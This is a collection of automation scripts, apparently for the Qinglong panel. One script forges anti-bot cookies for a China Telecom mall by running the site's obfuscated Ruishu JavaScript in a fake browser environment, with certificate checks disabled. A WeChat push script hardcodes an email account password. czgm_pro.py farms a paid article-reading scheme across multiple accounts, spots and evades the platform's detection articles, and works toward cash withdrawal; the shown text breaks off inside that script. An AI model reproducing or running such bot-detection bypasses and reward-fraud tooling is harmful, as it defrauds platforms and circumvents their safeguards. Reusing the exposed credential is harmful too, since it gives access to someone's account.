/Ruishu.js:
--------------------------------------------------------------------------------
  1 | import os
  2 | import ssl
  3 | import time
  4 | import json
  5 | import execjs
  6 | import base64
  7 | import random
  8 | import certifi
  9 | import aiohttp
 10 | import asyncio
 11 | import requests
 12 | from http import cookiejar
 13 | from Crypto.Cipher import DES3
 14 | from Crypto.Util.Padding import pad, unpad
 15 | from aiohttp import ClientSession, TCPConnector
 16 | import httpx
 17 | httpx._config.DEFAULT_CIPHERS += ":ALL:@SECLEVEL=1"
 18 | diffValue = 2
 19 | filename='Cache.js'
 20 | if os.path.exists(filename):
 21 |     with open(filename, 'r', encoding='utf-8') as file:
 22 |         fileContent = file.read()
 23 | else:
 24 |     fileContent=''
 25 | 
 26 | class BlockAll(cookiejar.CookiePolicy):
 27 |     return_ok = set_ok = domain_return_ok = path_return_ok = lambda self, *args, **kwargs: False
 28 |     netscape = True
 29 |     rfc2965 = hide_cookie2 = False
 30 | 
 31 | def printn(m):
 32 |     print(f'\n{m}')
 33 | 
 34 | context = ssl.create_default_context()
 35 | context.set_ciphers('DEFAULT@SECLEVEL=1')  # 低安全级别0/1
 36 | context.check_hostname = False  # 禁用主机
 37 | context.verify_mode = ssl.CERT_NONE  # 禁用证书
 38 | 
 39 | class DESAdapter(requests.adapters.HTTPAdapter):
 40 |     def init_poolmanager(self, *args, **kwargs):
 41 |         kwargs['ssl_context'] = context
 42 |         return super().init_poolmanager(*args, **kwargs)
 43 | 
 44 | requests.DEFAULT_RETRIES = 0
 45 | requests.packages.urllib3.disable_warnings()
 46 | ss = requests.session()
 47 | ss.headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 13; 22081212C Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.97 Mobile Safari/537.36", "Referer": "https://wapact.189.cn:9001/JinDouMall/JinDouMall_independentDetails.html"}
 48 | ss.mount('https://', DESAdapter())
 49 | ss.cookies.set_policy(BlockAll())
 50 | runTime = 0
 51 | sleepTime = 1
 52 | key = b'1234567`90koiuyhgtfrdews'
 53 | iv = 8 * b'\0'
 54 | 
 55 | def encrypt(text):
 56 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
 57 |     ciphertext = cipher.encrypt(pad(text.encode(), DES3.block_size))
 58 |     return ciphertext.hex()
 59 | 
 60 | def decrypt(text):
 61 |     ciphertext = bytes.fromhex(text)
 62 |     cipher = DES3.new(key, DES3.MODE_CBC, iv)
 63 |     plaintext = unpad(cipher.decrypt(ciphertext), DES3.block_size)
 64 |     return plaintext.decode()
 65 | 
 66 | def initCookie(getUrl='https://wapact.189.cn:9001/gateway/standQuery/detailNew/exchange'):
 67 |     global js_code_ym, fileContent
 68 |     cookie = ''
 69 |     response = httpx.post(getUrl)
 70 |     content = response.text.split(' content="')[2].split('" r=')[0]
 71 |     code1 = response.text.split('$_ts=window')[1].split('</script><script type="text/javascript"')[0]
 72 |     code1Content = '$_ts=window' + code1
 73 |     Url = response.text.split('$_ts.lcd();</script><script type="text/javascript" charset="utf-8" src="')[1].split('" r=')[0]
 74 |     urls = getUrl.split('/')
 75 |     rsurl = urls[0] + '//' + urls[2] + Url
 76 |     filename = 'Cache.js'
 77 |     if fileContent == '':
 78 |         if not os.path.exists(filename):
 79 |             fileRes = httpx.get(rsurl)
 80 |             fileContent = fileRes.text
 81 |             if fileRes.status_code == 200:
 82 |                 with open(filename, 'w', encoding='utf-8') as file:
 83 |                     file.write(fileRes.text)
 84 |             else:
 85 |                 print(f"Failed to download {rsurl}. Status code: {fileRes.status_code}")
 86 |     if response.headers['Set-Cookie']:
 87 |         cookie = response.headers['Set-Cookie'].split(';')[0].split('=')[1]
 88 |     runJs = js_code_ym.replace('content_code', content).replace("'ts_code'", code1Content + fileContent)
 89 |     execjsRun = RefererCookie(runJs)
 90 |     return {
 91 |         'cookie': cookie,
 92 |         'execjsRun': execjsRun
 93 |     }
 94 | 
 95 | def RefererCookie(runJs):
 96 |     try:
 97 |         execjsRun = execjs.compile(runJs)
 98 |         return execjsRun
 99 |     except execjs._exceptions.CompileError as e:
100 |         print(f"JavaScript 编译错误: {e}")
101 |     except execjs._exceptions.RuntimeError as e:
102 |         print(f"JavaScript 运行时错误: {e}")
103 |     except Exception as e:
104 |         print(f"其他错误: {e}")
105 | 
106 | js_code_ym = '''delete __filename
107 | delete __dirname
108 | ActiveXObject = undefined
109 | 
110 | window = global;
111 | 
112 | content="content_code"
113 | 
114 | navigator = {"platform": "Linux aarch64"}
115 | navigator = {"userAgent": "CtClient;11.0.0;Android;13;22081212C;NTIyMTcw!#!MTUzNzY"}
116 | 
117 | location={
118 |     "href": "https://",
119 |     "origin": "",
120 |     "protocol": "",
121 |     "host": "",
122 |     "hostname": "",
123 |     "port": "",
124 |     "pathname": "",
125 |     "search": "",
126 |     "hash": ""
127 | }
128 | 
129 | i = {length: 0}
130 | base = {length: 0}
131 | div = {
132 |     getElementsByTagName: function (res) {
133 |         console.log('div中的getElementsByTagName：', res)
134 |         if (res === 'i') {
135 |             return i
136 |         }
137 |     return '<div></div>'
138 | 
139 |     }
140 | }
141 | 
142 | script = {
143 | 
144 | }
145 | meta = [
146 |     {charset:"UTF-8"},
147 |     {
148 |         content: content,
149 |         getAttribute: function (res) {
150 |             console.log('meta中的getAttribute：', res)
151 |             if (res === 'r') {
152 |                 return 'm'
153 |             }
154 |         },
155 |         parentNode: {
156 |             removeChild: function (res) {
157 |                 console.log('meta中的removeChild：', res)
158 |                 
159 |               return content
160 |             }
161 |         },
162 |         
163 |     }
164 | ]
165 | form = '<form></form>'
166 | 
167 | window.addEventListener= function (res) {
168 |         console.log('window中的addEventListener:', res)
169 |         
170 |     }
171 |     
172 | document = {
173 |     createElement: function (res) {
174 |         console.log('document中的createElement：', res)
175 |         
176 |        if (res === 'div') {
177 |             return div
178 |         } else if (res === 'form') {
179 |             return form
180 |         }
181 |         else{return res}
182 |             
183 |         
184 | 
185 | 
186 |     },
187 |     addEventListener: function (res) {
188 |         console.log('document中的addEventListener:', res)
189 |         
190 |     },
191 |     appendChild: function (res) {
192 |         console.log('document中的appendChild：', res)
193 |         return res
194 |     },
195 |     removeChild: function (res) {
196 |         console.log('document中的removeChild：', res)
197 |     },
198 |     getElementsByTagName: function (res) {
199 |         console.log('document中的getElementsByTagName：', res)
200 |         if (res === 'script') {
201 |             return script
202 |         }
203 |         if (res === 'meta') {
204 |             return meta
205 |         }
206 |         if (res === 'base') {
207 |             return base
208 |         }
209 |     },
210 |     getElementById: function (res) {
211 |         console.log('document中的getElementById：', res)
212 |         if (res === 'root-hammerhead-shadow-ui') {
213 |             return null
214 |         }
215 |     }
216 | 
217 | }
218 | 
219 | setInterval = function () {}
220 | setTimeout = function () {}
221 | window.top = window
222 | 
223 | 'ts_code'
224 | 
225 | function main() {
226 |     cookie = document.cookie.split(';')[0]
227 |     return cookie
228 | }'''
229 | 
230 | async def main(timeValue):
231 |     global runTime, js_codeRead
232 |     tasks = []
233 |     
234 |     init_result = initCookie()
235 |     if init_result:
236 |         cookie = init_result['cookie']
237 |         execjsRun = init_result['execjsRun']
238 |     else:
239 |         print("初始化 cookies 失败")
240 |         return
241 |     
242 |     runcookie = {
243 |         'cookie': cookie,
244 |         'execjsRun': execjsRun
245 |     }
246 |     
247 |     # 添加输出 cookies 的代码
248 |     cookies = {
249 |         'yiUIIlbdQT3fO': runcookie['cookie'],
250 |         'yiUIIlbdQT3fP': runcookie['execjsRun'].call('main').split('=')[1]
251 |     }
252 |     print(json.dumps(cookies))  # 确保输出是 JSON 格式的
253 | 
254 | if __name__ == "__main__":
255 |     asyncio.run(main(0))


--------------------------------------------------------------------------------
/Soul.js:
--------------------------------------------------------------------------------
 1 | // !author = 怎么肥事   2025/5/4
 2 | let body = $response.body;
 3 | 
 4 | try {
 5 |     let obj = JSON.parse(body);
 6 |     let imageUrl = obj?.data?.url;
 7 | 
 8 |     if (imageUrl && typeof imageUrl === 'string') {
 9 |         console.log("图片地址: " + imageUrl);
10 | 
11 |         $notify("图片预览", "点击跳转浏览器", imageUrl, {
12 |             "media-url": imageUrl,
13 |             "open-url": imageUrl
14 |         });
15 |     }
16 | } catch (e) {
17 |     console.log("处理图片预览出错：" + e);
18 | }
19 | 
20 | $done({ body });
21 | 


--------------------------------------------------------------------------------
/Soulx.js:
--------------------------------------------------------------------------------
 1 | // !author = 怎么肥事   2025/5/4
 2 | let body = $response.body;
 3 | 
 4 | try {
 5 |     let obj = JSON.parse(body);
 6 |     let imageUrl = obj?.data?.url;
 7 | 
 8 |     if (imageUrl && typeof imageUrl === 'string') {
 9 |         console.log("图片地址: " + imageUrl);
10 | 
11 |         $notify("图片预览", "点击跳转浏览器", imageUrl, {
12 |             "media-url": imageUrl,
13 |             "open-url": imageUrl
14 |         });
15 |     }
16 | } catch (e) {
17 |     console.log("处理图片预览出错：" + e);
18 | }
19 | 
20 | $done({ body });
21 | 


--------------------------------------------------------------------------------
/WeChatPublicNumberPushInformation.py:
--------------------------------------------------------------------------------
  1 | # -*- coding=UTF-8 -*-
  2 | # @Project          QL_TimingScript
  3 | # @fileName         WeChatPublicNumberPushInformation.py
  4 | # @author           Echo
  5 | # @EditTime         2024/9/14
  6 | import datetime
  7 | import os
  8 | import random
  9 | import re
 10 | import time
 11 | import httpx
 12 | from typing import Text, Optional, List, Dict
 13 | 
 14 | 
 15 | """
 16 | 公众号推送模版：
 17 | 📆今天是: {{today.DATA}}
 18 | 
 19 | 👩‍❤️‍💋‍👨今天是我们恋爱的第{{ld.DATA}}天
 20 | ☁️今天的天气状况: {{w.DATA}}
 21 | 🌡️当前气温: {{c_temp.DATA}}℃
 22 | ❄️最低气温: {{min_temp.DATA}}℃
 23 | ☀️最高气温: {{max_temp.DATA}}℃
 24 | 🎂距离{{u.DATA}}生日还有: {{b.DATA}}天
 25 | 📝距离考研还剩: {{exa_day.DATA}}天
 26 | 
 27 | ❤️‍爱情指数: {{l_i.DATA}}
 28 | 💼工作指数: {{w_i.DATA}}
 29 | 🪙财运指数: {{f_i.DATA}}
 30 | 🌟星座运势: {{sign1.DATA}}{{sign2.DATA}}{{sign3.DATA}}{{sign4.DATA}}{{sign5.DATA}}
 31 | 
 32 | 🌈今日彩虹屁: {{copy1.DATA}}{{copy2.DATA}}{{copy3.DATA}}{{copy4.DATA}}{{copy5.DATA}}
 33 | """
 34 | 
 35 | """
 36 | 设置配置常量
 37 | """
 38 | CONFIG = {
 39 |     "API_KEY": "",           # 天聚数行密钥
 40 |     "APP_ID": "",            # 微信公众号appid
 41 |     "APP_SECRET": "",        # 微信公众号appsecret
 42 |     "TEMPLATE_ID": "",       # 模板ID
 43 |     "CITY_NAME": "",         # 城市
 44 |     "AREA": "",              # 区县
 45 |     "EXAMINATION_DATE": "",  # 考研日期
 46 |     "USER": "",              # 对象称呼
 47 |     "BIRTHDAY": "",          # 对象生日
 48 |     "STAR_SIGN": "",         # 对象星座
 49 |     "LOVE_DATE": ""          # 恋爱开始日期
 50 | }
 51 | 
 52 | # 从环境变量中获取配置，如果环境变量不存在则使用默认值
 53 | for key in CONFIG:
 54 |     CONFIG[key] = os.environ.get(key, CONFIG[key])
 55 | 
 56 | # 特殊处理 WECHAT_USER_IDS，因为它需要被分割
 57 | WECHAT_USER_IDS = re.split("@|&", os.environ.get("WECHAT_USER_IDS", "")) if "WECHAT_USER_IDS" in os.environ else []
 58 | 
 59 | # 使用全局变量
 60 | globals().update(CONFIG)
 61 | 
 62 | 
 63 | def time_diff(time1: Text, time2: Text, format) -> int:
 64 |     """
 65 |     计算两个时间差
 66 |     :param time1: 时间1
 67 |     :param time2: 时间2
 68 |     :param format: 时间格式
 69 |     :return: 时间差
 70 |     """
 71 |     import datetime
 72 |     time1 = datetime.datetime.strptime(time1, format)
 73 |     time2 = datetime.datetime.strptime(time2, format)
 74 |     if time2 > time1:
 75 |         return (time2 - time1).days
 76 |     else:
 77 |         print("时间1大于时间2, 请检查")
 78 | 
 79 | 
 80 | def calculate_birthday(birthday: Text) -> int:
 81 |     """
 82 |     计算生日
 83 |     :param birthday: 出生日期
 84 |     :return: 生日
 85 |     """
 86 |     from datetime import date
 87 |     today = date.today()
 88 | 
 89 |     # 解析生日字符串
 90 |     birthday_month, birthday_day = map(int, birthday.split('-'))
 91 | 
 92 |     # 计算今年的生日日期
 93 |     this_year_birthday = date(today.year, birthday_month, birthday_day)
 94 | 
 95 |     # 如果今年的生日已经过了，就计算明年的生日
 96 |     if this_year_birthday < today:
 97 |         next_birthday = date(today.year + 1, birthday_month, birthday_day)
 98 |     else:
 99 |         next_birthday = this_year_birthday
100 | 
101 |     # 计算天数差
102 |     days_left = (next_birthday - today).days
103 |     return days_left
104 | 
105 | 
106 | def claculate_love_date(love_date: Text) -> int:
107 |     """
108 |     计算恋爱日
109 |     :param love_date: 
110 |     :return: 
111 |     """
112 |     from datetime import date, datetime
113 | 
114 |     anniversary_date = datetime.strptime(love_date, "%Y-%m-%d").date()
115 |     today = date.today()
116 |     days_passed = (today - anniversary_date).days
117 |     return days_passed
118 | 
119 | 
120 | def claculate_exam_countdown(exam_date: Text) -> int:
121 |     """
122 |     计算考试倒计时
123 |     :param exam_date: 考试时间
124 |     :return: 
125 |     """
126 |     from datetime import date, datetime
127 |     today = date.today()
128 |     exam_date = datetime.strptime(exam_date, "%m-%d").date()
129 |     exam_date = exam_date.replace(year=today.year)
130 |     # if exam_date < today:
131 |     #     exam_date = exam_date.replace(year=today.year + 1)
132 |     days_left = (exam_date - today).days
133 |     return days_left
134 | 
135 | 
136 | class TianApi:
137 |     def __init__(self):
138 |         self.api_key = API_KEY
139 |         self.client = httpx.Client(base_url="https://apis.tianapi.com")
140 | 
141 |     def get_rainbowFart(self):
142 |         """
143 |         获取彩虹屁
144 |         :return: 
145 |         """
146 |         response = self.client.get(
147 |             url=f"/caihongpi/index?key={self.api_key}"
148 |         ).json()
149 |         if response.get("msg") == "success":
150 |             return response["result"]["content"]
151 | 
152 |     def get_horoscope(self, star_sign: Text, date: Optional[Text] = None) -> List:
153 |         """
154 |         获取星座运势
155 |         :param star_sign: 星座名（必填）
156 |         :param date: 出生日期（可选）
157 |         :return: 
158 |         """
159 |         if date is None:
160 |             url = f"/star/index?key={self.api_key}&astro={star_sign}"
161 |         else:
162 |             url = f"/star/index?key={self.api_key}&astro={star_sign}&date={date}"
163 |         response = self.client.get(
164 |             url=url
165 |         ).json()
166 |         return response["result"]["list"]
167 | 
168 |     def get_weather_infos(self, city: Text) -> Dict:
169 |         """
170 |         获取天气
171 |         :param city: 城市（城市天气ID、行政代码、城市名称、IP地址）
172 |         :return: 
173 |         """
174 |         response = self.client.get(
175 |             url=f"/tianqi/index?key={self.api_key}&city={city}&type=1"
176 |         ).json()
177 |         return response["result"]
178 | 
179 | 
180 | class WeChatPushMessage:
181 |     def __init__(self):
182 |         self.client = httpx.Client()
183 |         self.tian_api = TianApi()
184 | 
185 |     @staticmethod
186 |     def get_color():
187 |         # 获取随机颜色
188 |         get_colors = lambda n: list(map(lambda i: "#" + "%06x" % random.randint(0, 0xFFFFFF), range(n)))
189 |         color_list = get_colors(100)
190 |         return random.choice(color_list)
191 | 
192 |     def send_email(self, subject, contents):
193 |         """
194 |         发送邮件
195 |         :param subject: 邮件主题
196 |         :param message: 邮件内容
197 |         :return: 
198 |         """
199 |         import yagmail
200 |         # 配置
201 |         sender_name = "微信消息推送"
202 |         sender_email = "liulong3men@163.com"
203 |         sender_password = "XUJFCMOZOXZUWMTT"
204 |         receiver_email = "1873190160@qq.com"
205 | 
206 |         # 发送邮件
207 |         try:
208 |             # 创建 yagmail 客户端
209 |             yag = yagmail.SMTP({sender_email: sender_name}, password=sender_password, host="smtp.163.com", port=465)
210 | 
211 |             # 发送邮件
212 |             yag.send(
213 |                 to=receiver_email,
214 |                 subject=subject,
215 |                 contents=contents
216 |             )
217 |             print("邮件发送成功！")
218 |         except Exception as e:
219 |             print(f"邮件发送失败：{str(e)}")
220 | 
221 |     @staticmethod
222 |     def split_str(str_: Text, length: int = 20):
223 |         chunks = [str_[i:i + length] for i in range(0, len(str_), length)]
224 |         result = {}
225 |         for i, chunk in enumerate(chunks, 1):
226 |             var_name = f"content_{i}"
227 |             result[var_name] = chunk
228 |         return result
229 | 
230 |     def __get_access_token(self) -> Text:
231 |         appid = APP_ID
232 |         appsecret = APP_SECRET
233 |         url = f"https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid={appid}&secret={appsecret}"
234 |         try:
235 |             response = self.client.get(url).json()
236 |             return response["access_token"]
237 |         except KeyError:
238 |             raise KeyError("获取access_token失败！检查appid和appsecret是否正确.")
239 | 
240 |     def push_message(self, user):
241 |         # city = config.get("cityName") + config.get("area")
242 |         week_list = ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六"]
243 |         time_ = time.strftime('%Y年%m月%d日 %H:%M:%S（' + week_list[datetime.date.today().isoweekday() % 7] + '）',
244 |                               time.localtime((int(time.mktime(time.gmtime())) + 28800)))  # 获取当前时间
245 |         birthday = calculate_birthday(BIRTHDAY)  # 计算生日
246 |         love_date = claculate_love_date(LOVE_DATE)  # 计算恋爱日
247 |         exam_date = claculate_exam_countdown(EXAMINATION_DATE)  # 计算考研剩余时间
248 |         weather_info = self.tian_api.get_weather_infos(AREA)
249 |         weather_condition = weather_info.get("weather")  # 天气状况
250 |         max_temperature = weather_info.get("highest")  # 最高温度
251 |         current_temperature = weather_info.get("real")  # 实时温度
252 |         min_temperature = weather_info.get("lowest")  # 最低温度
253 | 
254 |         star_sign = STAR_SIGN  # 星座
255 |         star_sign_info = self.tian_api.get_horoscope(star_sign)
256 |         composite_index = star_sign_info[0]["content"]  # 综合指数
257 |         love_index = star_sign_info[1]["content"]  # 恋爱指数
258 |         work_index = star_sign_info[2]["content"]  # 工作指数
259 |         fortune_index = star_sign_info[3]["content"]  # 财运指数
260 |         health_index = star_sign_info[4]["content"]  # 健康指数
261 |         speed_sign = star_sign_info[7]["content"]  # 速配星座
262 | 
263 |         url = f"https://api.weixin.qq.com/cgi-bin/message/template/send?access_token={self.__get_access_token()}"
264 |         messages = {
265 | 
266 |             "touser": user,
267 |             "template_id": TEMPLATE_ID,
268 |             "url": "heartSpin.html",
269 |             "topcolor": "#FF0000",
270 |             "data": {
271 |                 "today": {"value": time_, "color": self.get_color()},  # 当前时间
272 |                 "ld": {"value": love_date, "color": "#EC2417"},  # 恋爱日
273 |                 # "city": {"value": city, "color": self.get_color()},    # 城市
274 |                 "w": {"value": weather_condition, "color": self.get_color()},  # 天气状况
275 |                 "c_temp": {"value": current_temperature, "color": self.get_color()},  # 实时温度
276 |                 "min_temp": {"value": min_temperature, "color": self.get_color()},  # 最低温度
277 |                 "max_temp": {"value": max_temperature, "color": self.get_color()},  # 最高温度
278 |                 "u": {"value": USER, "color": self.get_color()},  # 用户
279 |                 "b": {"value": birthday, "color": self.get_color()},  # 生日
280 |                 "exa_day": {"value": exam_date, "color": self.get_color()},  # 考研剩余时间
281 |                 # "c_i": {"value": composite_index, "color": self.get_color()},    # 综合指数
282 |                 "l_i": {"value": love_index, "color": self.get_color()},  # 恋爱指数
283 |                 "w_i": {"value": work_index, "color": self.get_color()},  # 工作指数
284 |                 "f_i": {"value": fortune_index, "color": self.get_color()}  # 财运指数
285 |                 # "h_i": {"value": health_index, "color": self.get_color()},  # 健康指数
286 |                 # "s_s": {"value": speed_sign, "color": self.get_color()},  # 速配星座
287 |             }
288 |         }
289 |         # tips_info = weather_info.get("tips")  # 出行建议
290 |         # split_tips = self.split_str(tips_info)
291 |         # tips_fields = ["tips1", "tips2", "tips3", "tips4", "tips5"]
292 |         # for i, field in enumerate(tips_fields, 1):
293 |         #     if f"content_{i}" in split_tips:
294 |         #         messages["data"][field] = {"value": split_tips[f"content_{i}"], "color": self.get_color()}
295 | 
296 |         today_summarize_info = star_sign_info[8]["content"]  # 今日运势
297 |         split_today_summarize_info = self.split_str(today_summarize_info)
298 |         today_summarize_fields = ["sign1", "sign2", "sign3", "sign4", "sign5"]
299 |         for i, field in enumerate(today_summarize_fields, 1):
300 |             if f"content_{i}" in split_today_summarize_info:
301 |                 messages["data"][field] = {"value": split_today_summarize_info[f"content_{i}"],
302 |                                            "color": self.get_color()}
303 | 
304 |         rainbow_fart_info = self.tian_api.get_rainbowFart()
305 |         if "XXX" in rainbow_fart_info:
306 |             rainbow_fart_info = rainbow_fart_info.replace("XXX", USER)
307 |         split_rainbow_fart_info = self.split_str(rainbow_fart_info)
308 |         rainbow_fart_fields = ["copy1", "copy2", "copy3", "copy4", "copy5"]
309 |         for i, field in enumerate(rainbow_fart_fields, 1):
310 |             if f"content_{i}" in split_rainbow_fart_info:
311 |                 messages["data"][field] = {"value": split_rainbow_fart_info[f"content_{i}"], "color": self.get_color()}
312 |         try:
313 |             response = self.client.post(url, json=messages).json()
314 |             if response.get("errcode") == 0 and response.get("errmsg") == "ok":
315 |                 print("推送成功")
316 |                 # self.send_email(subject=f"🗨️微信公众号通知 - {datetime.datetime.now().strftime("%Y/%m/%d")}",
317 |                 #                 contents=f"⏰向【{config.get('user')}】早安信息已成功推送啦！")
318 |             else:
319 |                 print("推送失败", response)
320 |                 # self.send_email(subject=f"🗨️微信公众号通知 - {datetime.datetime.now().strftime("%Y/%m/%d")}",
321 |                 #                 contents=f"❌向【{config.get('user')}】早安信息推送失败，请前往青龙面板查看日志！")
322 | 
323 |         except KeyError:
324 |             raise KeyError("推送失败，请检查参数是否正确")
325 | 
326 | 
327 | if __name__ == '__main__':
328 |     for user in WECHAT_USER_IDS:
329 |         wpm = WeChatPushMessage()
330 |         wpm.push_message(user)
331 |         del wpm
332 | 


--------------------------------------------------------------------------------
/czgm_pro.py:
--------------------------------------------------------------------------------
  1 | # Author: lindaye
  2 | # Update:2023-09-26
  3 | # 钢镚(充值购买)阅读
  4 | # 活动入口：http://2496831.sl4mwis5.gbl.avc14qvjzax7.cloud/?p=2496831
  5 | # 添加账号说明(青龙/本地)二选一
  6 | #   青龙: 青龙变量gbtoken 值{"ck":"gfsessionid的值","ts":"Wxpusher的UID"} 一行一个(回车分割)
  7 | #   本地: 脚本内置ck方法ck_token = [{"ck":"gfsessionid的值","ts":"Wxpusher的UID"},{"ck":"gfsessionid的值","ts":"Wxpusher的UID"}]
  8 | # 脚本使用说明:
  9 | #   1.(必须操作)扫码关注wxpusher获取UID: https://wxpusher.zjiecode.com/demo/
 10 | #   2.在1打开的网页中点击发送文本消息,查看是否收到,收到可继续
 11 | #   3.将1打开的网页中的UID或者以及操作过1的账号UID复制备用
 12 | #   4.根据提示说明填写账号变量
 13 | # 回调服务器开放说明:
 14 | #   1.仅针对授权用户开放,需配合授权软件使用
 15 | #   2.青龙变量设置LID变量名,值为授权软件的LID
 16 | # 软件版本
 17 | version = "1.2.0 10-28"
 18 | name = "充值购买(钢镚)"
 19 | linxi_token = "gbtoken"
 20 | linxi_tips = '{"ck":"gfsessionid的值","ts":"Wxpusher的UID"}'
 21 | import requests
 22 | from multiprocessing import Pool
 23 | import re
 24 | import time
 25 | import hashlib
 26 | import random
 27 | import os
 28 | import json
 29 | from urllib.parse import quote
 30 | # 阅读等待时间
 31 | tsleep = 40
 32 | # 变量类型(本地/青龙)
 33 | Btype = "青龙"
 34 | # 提现限制(元)
 35 | Limit = 2
 36 | # 授权设备ID(软件版本>=1.3.3)[非授权用户不填即可]
 37 | imei = os.getenv('LID')
 38 | # 充值购买(钢镚)域名(无法使用时请更换)
 39 | domain = 'http://2496831.rrn.eqk7p066.4jvg40m4108yr.cloud'
 40 | # 保持连接,重复利用
 41 | ss = requests.session()
 42 | 
 43 | # 检测文章列表(如有未收录可自行添加)
 44 | check_list = [
 45 |     'MzkyMzI5NjgxMA==','MzkzMzI5NjQ3MA==','Mzg5NTU4MzEyNQ==','Mzg3NzY5Nzg0NQ==','MzU5OTgxNjg1Mg==',
 46 |     'Mzg4OTY5Njg4Mw==','MzI1ODcwNTgzNA==','Mzg2NDY5NzU0Mw==','MzA3MjMwMTYwOA==','MzkyNTM5OTc3OQ==',
 47 |     'MjM5OTQ0NzI3Ng==','MzkwOTU3MDI1OA==','MzAwOTc2NDExMA==','MzA3OTI4MDMxMA==','MzkxNzI2ODcwMQ==',
 48 |     'MzA3MDMxNzMzOA==','Mzg3NjAwODMwMg==','MzI3NDE2ODk1Nw==','MzIyMDMyNTMwMw==','MzIzMjY2NTMwNQ==',
 49 |     'MzkxNzMwMjY5Mg==','MzA5Njg3MDk2Ng==','MzA5MzM1OTY2OQ==','Mzg4NjY5NzE4NQ==','MzA4NTQwNjc3OQ==',
 50 |     'MjM5NTY5OTU0MQ==','MzU1NTc4OTg2Mw==','MzkwMzI0NjQ4Mw==','MzI3OTA2NDk0Nw==','MjM5MDU4ODgwMw==',
 51 |     'MzkwODI5NzQ4MQ==','MzkzMzI5Njc0Nw==','Mzg4NzUyMjQxMw=='
 52 | ]
 53 | # 计算sign
 54 | def get_sign():
 55 |     current_time = str(int(time.time()))
 56 |     # 计算 sign
 57 |     sign_str = f"key=4fck9x4dqa6linkman3ho9b1quarto49x0yp706qi5185o&time={current_time}"
 58 |     sha256_hash = hashlib.sha256(sign_str.encode())
 59 |     sign = sha256_hash.hexdigest()
 60 |     data = f'time={current_time}&sign={sign}'
 61 |     return data
 62 | 
 63 | 
 64 | # 获取个人信息模块
 65 | def user_info(i,ck):
 66 |     time.sleep(i*1)
 67 |     # 请求头
 68 |     headers = {
 69 |         "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5279 MMWEBSDK/20230805 MMWEBID/3850 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64",
 70 |         "Cookie":f"gfsessionid={ck['ck']};"
 71 |     }
 72 |     try:
 73 |         result = ss.get(domain+"/share", headers=headers, data=get_sign()).json()
 74 |         share_link = result["data"]["share_link"][0]
 75 |         userid = share_link.split("=")[1].split("&")[0]
 76 |     except:
 77 |         print(f"账号【{i+1}】请检查你的CK({ck['ck']})是否正确!")
 78 |         return False
 79 |     result = ss.get(domain+"/read/info", headers=headers, data=get_sign()).json()
 80 |     if result["code"] == 0:
 81 |         remain = result["data"]["remain"]
 82 |         read = result["data"]["read"]
 83 |         print(f"账号【{i+1}】UID:{userid} 余额:{remain} 今日:{read}篇")
 84 |     else:
 85 |         print(f'账号【{i+1}】用户信息获取失败:{result["message"]}')
 86 | 
 87 | # 阅读文章模块
 88 | def do_read(i,ck):
 89 |     global check_list
 90 |     time.sleep(i*5)
 91 |     # 请求头
 92 |     headers = {
 93 |         "User-Agent": "Mozilla/5.0 (Linux; Android 12; Redmi K30 Pro Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5279 MMWEBSDK/20230805 MMWEBID/3850 MicroMessenger/8.0.41.2441(0x28002951) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64",
 94 |         "Cookie":f"gfsessionid={ck['ck']};"
 95 |     }
 96 |     while True:
 97 |         response = ss.get(domain+"/read/task", headers=headers, data=get_sign())
 98 |         try:
 99 |             response = response.json()
100 |         except json.decoder.JSONDecodeError:
101 |             print(f"账号【{i+1}】请检查你的CK({ck['ck']})是否正确!")
102 |             return False
103 |         if response["code"] == 1:
104 |             if "秒" in response['message']:
105 |                 print(f"账号【{i+1}】即将开始:{response['message']}")
106 |                 time.sleep(5)
107 |             elif response['message'] == "记录失效":
108 |                 print(f"账号【{i+1}】阅读异常,重新获取:{response['message']}")
109 |             else:
110 |                 print(f"账号【{i+1}】{response['message']}")
111 |                 break
112 |         else:
113 |             try:
114 |                 s = random.randint(10,12)
115 |                 # 检测是否是检测文章
116 |                 biz = re.findall("biz=(.*?)&",response["data"]["link"])[0]
117 |                 print(f"账号【{i+1}】获取文章成功-{biz}-模拟{s}秒")
118 |                 if biz in check_list:
119 |                     print(f"账号【{i+1}】阅读检测文章-已推送微信,请40s内完成验证!")
120 |                     # 过检测
121 |                     check = check_status(ck['ts'],response["data"]["link"],i)
122 |                     if check == True:
123 |                         print(f"账号【{i+1}】检测文章-过检测成功啦!")
124 |                         response = ss.post(domain+"/read/finish", headers=headers, data=get_sign()).json()
125 |                         print(f'账号【{i+1}】阅读文章成功-获得钢镚[{response["data"]["gain"]}]-已读{response["data"]["read"]}篇')
126 |                     else:
127 |                         print(f"账号【{i+1}】检测文章-过检测失败啦!")
128 |                         break
129 |                 else:
130 |                     time.sleep(s)
131 |                     response = ss.post(domain+"/read/finish", headers=headers, data=get_sign()).json()
132 |                     # print(response)
133 |                     if response["code"] == 0:
134 |                         if response["data"]["check"] is False:
135 |                             print(f'账号【{i+1}】阅读文章成功-获得钢镚[{response["data"]["gain"]}]-已读{response["data"]["read"]}篇')
136 |                         else:
137 |                             print(f"账号【{i+1}】获取到未收录检测: {biz} 将自动停止脚本")
138 |                             check_list.append(biz)
139 |                             break
140 |                     else:
141 |                         if response['message'] == "记录无效":
142 |                             print(f"账号【{i+1}】记录无效,重新阅读")
143 |                         else:
144 |                             print(f"账号【{i+1}】{response}")
145 |                             break
146 |             except Exception as e:
147 |                 if response['code'] == 801:
148 |                     print(f"账号【{i+1}】今日任务已完成: {response['message']}")
149 |                     break
150 |                 else:
151 |                     print(f"账号【{i+1}】获取文章失败,错误未知({e}) 结果:{response}")
152 |                     break
153 | 
154 | # 提现模块
155 | def get_money(i,ck):
156 |     time.sleep(i*1)
157 |     # 请求头
158 |     headers = {
